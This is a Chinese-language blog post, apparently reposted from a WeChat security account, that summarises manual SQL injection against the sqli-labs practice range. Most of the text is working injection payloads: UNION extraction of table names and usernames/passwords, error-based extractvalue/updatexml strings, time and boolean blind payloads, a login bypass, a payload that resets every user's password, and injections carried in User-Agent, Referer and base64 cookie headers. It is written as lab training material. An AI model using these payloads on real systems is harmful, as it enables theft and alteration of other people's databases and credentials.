手工sql注入的总结
2023-1-4 09:9:44 Author: 白安全组(查看原文) 阅读量:16 收藏

ps:

    整理了一下手工注入的方式,靶场地址

http://www.wangehacker.cn/sqli-labs/

针对手工注入的测试基本流程:

基本流程分为四步走

首先我们需要查询数据库名

http://www.wangehacker.cn/sqli-labs/Less-4/?id=-1") union select 1,database(),3 --+

然后是查询表名       

id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+

第三步查询列名

id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+

最后一步爆列的具体内容

id=-1' union select 1,group_concat(username,password),3 from users --+

针对手工注入的报错注入:

下面的基本上都是按照四步走方式

爆出库名

index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

爆出表名

index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

----------

报错注入建议使用下面的两种(我这里推荐第二种)

简单高效:

' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+
' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

针对手工注入的时间盲注:

http://www.wangehacker.cn/sqli-labs/Less-9/?id=1' and if((select (substr(database(),1,1))="s") ,sleep(5), null)--+

时间盲注主要涉及三个函数,if、substr、sleep,有的时候可根据情况加上ascii进行编码猜解。

验证方式使用下面的

id=2' and sleep(5) --+

说明可以睡觉

同样我们使用四步走流程

第一步猜解库名,这里知道了所以直接猜解,否则需使用substr截取一个个

字母猜解,这里实战直接上工具就好。

id=2' and if((select database())="security",sleep(5),null) --+

第二步

id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+

布尔型注入:

?id=2' and 0 --+?id=2' and 1<2 --+

判断一下后面是否可以夹带私货

小知识:

select length(database());

取出数据库库名,并且判断有几个字

select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,截取1个

select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

select ascii(substr(database(),1,1)) < 100;

实战:

id=1' and (select ascii(substr(database(),1,1))) < 115 --+

走四步走流程

id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))) < 115 --+

手工注入post盲注:

方法1:

这里的几个都是直接在源码中执行的语句猜测,需要稍作修改才能用到实战中。

select username,password from table1 where username='$u' and password='$p' limit 0,1;
select username,password from table1 where username=' ' or 1=1 # ' and password='123' limit 0,1;
select username,password from table1 where username=' ' or 1=1 
select username,password from table1 where username=' ' union select 1,2 #  ' and password='$p' limit 0,1;

方法2:

burp

抓包之后,send to repater

这里的注入点在post数据的用户名后面

uname=' union select 1,database() #&passwd=123&submit=Submit

=====================

post盲注

猜闭合方式

' or 1=1 #

用户名和密码都写!!!!

' or '1' = '1

时间盲注猜测:

select username,password from table1 where username='' or '1'='1' and password='' or '1'='1' limit 0,1;

其实这里和上面的时间盲注基本没区别,就是加了一个ascii编码,具体可以百度ascii编码表对比。

admin' and if(ascii(substr(database(),1,1))=115,sleep(5),null) #

less-17修改密码,密码重置漏洞

(本题危害比较大)

update users set password='$p' where username='$u'

我们这里需要先输入用户名

admin

然后提交拦截之后在password值后面输入下面的参数

' or 1=1 #

会把数据库所有密码都改为1

less-18开始http头注入

这里是从user-agent开始注入的

网站源码数据库语句猜测

insert into 'security'.'某个表'(uagent,ipadd,username) values('浏览器信息','ip地址','用户名')

使用\ 判断单引号闭合,我们根据报错回显可以选择使用报错注入

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

网站源码的语句猜测:

insert into 'security'.'某个表'(uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip地址','用户名')

less-19referer注入:

这里步骤和上面差不多,区别几乎没有,只不过换成了referer数据头,换汤不换药,从右腿换左腿受伤了。

' and updatexml(1,concat(0x7e,(database()),0x7e),1) and 'or 1=1

less-20 cookie注入:

这里的注入其实就是换到了cookie这个地方,和上面语句上区别不大,按四步走策略就可以。

'and updatexml(1,concat(0x7e,(database()),0x7e),1)#

less-21cookie注入:

和20题没任何区别,就是需要base64编码,还有闭合方式变了,记得等于号后面都需要编码就行。

admin')and updatexml(1,concat(0x7e,(database()),0x7e),1) #加密成base64

less-22cookie注入:

又是一个一模一样的题目,就是闭合方式变一下,然后编码发送过去就可以了

admin7"and updatexml(1,concat(0x7e,(database()),0x7e),1)#  

  同样转成base64


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4MjYxNTYwNA==&mid=2247486318&idx=1&sn=23b8da208c86cd435cc6a9fd72667c84&chksm=fdb4dc35cac355231a59cae73d899215a7cbfadd77354334d4afdff885e356df134a8bdcfd43#rd
如有侵权请联系:admin#unsafe.sh